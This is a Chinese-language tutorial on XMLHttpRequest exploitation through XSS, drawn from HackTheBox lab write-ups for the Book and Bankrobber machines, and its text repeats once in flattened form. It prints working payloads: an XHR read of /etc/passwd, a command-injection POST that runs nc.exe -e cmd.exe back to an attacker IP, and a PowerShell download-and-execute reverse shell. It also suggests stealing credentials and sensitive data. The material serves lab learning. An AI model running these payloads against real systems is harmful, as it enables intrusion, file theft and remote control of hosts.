从两道靶场题目看XHR
字数 1302 2025-08-20 18:17:47

XMLHttpRequest (XHR) 安全利用技术详解

0x01 XHR 基础概念

XMLHttpRequest (XHR) 是现代浏览器内置对象,用于与服务器交互而无需刷新整个页面。关键特性:

  • 支持获取任何类型数据,不限于 XML
  • 支持 HTTP 以外的协议(包括 file:// 和 FTP)
  • 常用于 AJAX 编程中实现异步数据加载

0x02 利用一:读取本地文件

应用场景

  • XSS 攻击后台管理员
  • 普通用户构造 payload 发送给管理员
  • 管理员登录后台触发 payload

实例分析(HackTheBox book 靶场)

  1. 环境描述

    • 普通用户可上传 PDF 并自定义 Title 和 Author
    • 管理员可下载用户上传的 PDF
    • Title 字段 XSS 会显示在管理员可见的 PDF 标题中
  2. 验证步骤

    <script>document.write(Date());</script>
    
  3. 利用 XHR 读取本地文件

    <script>
      x = new XMLHttpRequest;
      x.onload = function(){
        document.write(this.responseText)
      };
      x.open("GET", "file:///etc/passwd");
      x.send();
    </script>
    
  4. 进阶利用

    • 读取服务器 SSH 私钥实现登录
    • 注意:有字数限制时可写入外部 JS 文件引用

0x03 利用二:XSS 到 SSRF 实现命令执行

应用场景

  • 存在命令执行功能但限制 IP 访问
  • 需要借用管理员身份绕过 IP 限制

实例分析(HackTheBox Bankrobber 靶场)

  1. 环境描述

    • backdoorchecker.php 可执行 dir 命令
    • 仅允许本地执行
    • 通过 SQL 注入已获取源码
  2. 利用思路

    • 结合 XHR 借用管理员身份访问 backdoorchecker.php
    • 构造 payload 绕过命令执行限制
  3. Payload 示例

    <script>
      var x = new XMLHttpRequest();
      x.open("POST", "backdoorchecker.php", true);
      x.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
      x.send('cmd=dir xxx || \\\\10.10.16.21\\ica\\nc.exe -e cmd.exe 10.10.16.21 9999');
    </script>
    
  4. 反弹 Shell

    • 攻击机监听:nc -lvvp 9999
    • 使用 SMB 服务(可通过 impacket 的 smbserver.py 搭建)

0x04 扩展利用技术

外部 JS 文件引用

  1. 基本方法

    <script src="http://攻击IP:8000/reverse.js"></script>
    
  2. reverse.js 示例

    function paintfunc(){
      var http = new XMLHttpRequest();
      var url = 'http://localhost/admin/backdoorchecker.php';
      var params = 'cmd=dir| powershell -c "iex (New-Object Net.WebClient).DownloadString(\'http://10.10.16.21:8000/Invoke-PowerShellTcp.ps1\');Invoke-PowerShellTcp -Reverse -IPAddress 10.10.16.21 -Port 9969"';
      http.open('POST', url, true);
      http.setRequestHeader('Content-type', 'application/x-www-form-urlencoded');
      http.send(params);
    }
    paintfunc();
    

PowerShell 反弹 Shell

  • 使用 PowerShell 下载并执行脚本
  • 需要预先准备 Invoke-PowerShellTcp.ps1

0x05 注意事项与问题解决

  1. 常见问题

    • Chrome + Windows 环境下可能无法读取其他目录文件
    • 错误信息:Uncaught DOMException: Failed to execute 'send' on 'XMLHttpRequest'
  2. 解决方案

    • 参考 CVE-2019-11730(Firefox 特定版本漏洞)
    • 下载指定版本 Firefox:http://ftp.mozilla.org/pub/firefox/releases/
    • 必须将文件保存到本地再打开
  3. iframe 限制

    • iframe 通过浏览器本地同源加载文件,不能通过网络加载
    • 本地测试有效,但通过网站访问时受限

0x06 其他潜在利用方式

  1. 未登录后台情况

    • 添加管理员账户
    • 修改系统配置
  2. 数据外泄

    • 窃取敏感信息
    • 获取用户凭证

参考资源

  1. XML HttpRequest 教程 - W3Schools
  2. XSS 发送外域请求 - heartsky
  3. XSS 数据渗出技术 - 0daylabs
XMLHttpRequest (XHR) 安全利用技术详解 0x01 XHR 基础概念 XMLHttpRequest (XHR) 是现代浏览器内置对象,用于与服务器交互而无需刷新整个页面。关键特性: 支持获取任何类型数据,不限于 XML 支持 HTTP 以外的协议(包括 file:// 和 FTP) 常用于 AJAX 编程中实现异步数据加载 0x02 利用一:读取本地文件 应用场景 XSS 攻击后台管理员 普通用户构造 payload 发送给管理员 管理员登录后台触发 payload 实例分析(HackTheBox book 靶场) 环境描述 : 普通用户可上传 PDF 并自定义 Title 和 Author 管理员可下载用户上传的 PDF Title 字段 XSS 会显示在管理员可见的 PDF 标题中 验证步骤 : 利用 XHR 读取本地文件 : 进阶利用 : 读取服务器 SSH 私钥实现登录 注意:有字数限制时可写入外部 JS 文件引用 0x03 利用二:XSS 到 SSRF 实现命令执行 应用场景 存在命令执行功能但限制 IP 访问 需要借用管理员身份绕过 IP 限制 实例分析(HackTheBox Bankrobber 靶场) 环境描述 : backdoorchecker.php 可执行 dir 命令 仅允许本地执行 通过 SQL 注入已获取源码 利用思路 : 结合 XHR 借用管理员身份访问 backdoorchecker.php 构造 payload 绕过命令执行限制 Payload 示例 : 反弹 Shell : 攻击机监听: nc -lvvp 9999 使用 SMB 服务(可通过 impacket 的 smbserver.py 搭建) 0x04 扩展利用技术 外部 JS 文件引用 基本方法 : reverse.js 示例 : PowerShell 反弹 Shell 使用 PowerShell 下载并执行脚本 需要预先准备 Invoke-PowerShellTcp.ps1 0x05 注意事项与问题解决 常见问题 : Chrome + Windows 环境下可能无法读取其他目录文件 错误信息: Uncaught DOMException: Failed to execute 'send' on 'XMLHttpRequest' 解决方案 : 参考 CVE-2019-11730(Firefox 特定版本漏洞) 下载指定版本 Firefox:http://ftp.mozilla.org/pub/firefox/releases/ 必须将文件保存到本地再打开 iframe 限制 : iframe 通过浏览器本地同源加载文件,不能通过网络加载 本地测试有效,但通过网站访问时受限 0x06 其他潜在利用方式 未登录后台情况 : 添加管理员账户 修改系统配置 数据外泄 : 窃取敏感信息 获取用户凭证 参考资源 XML HttpRequest 教程 - W3Schools XSS 发送外域请求 - heartsky XSS 数据渗出技术 - 0daylabs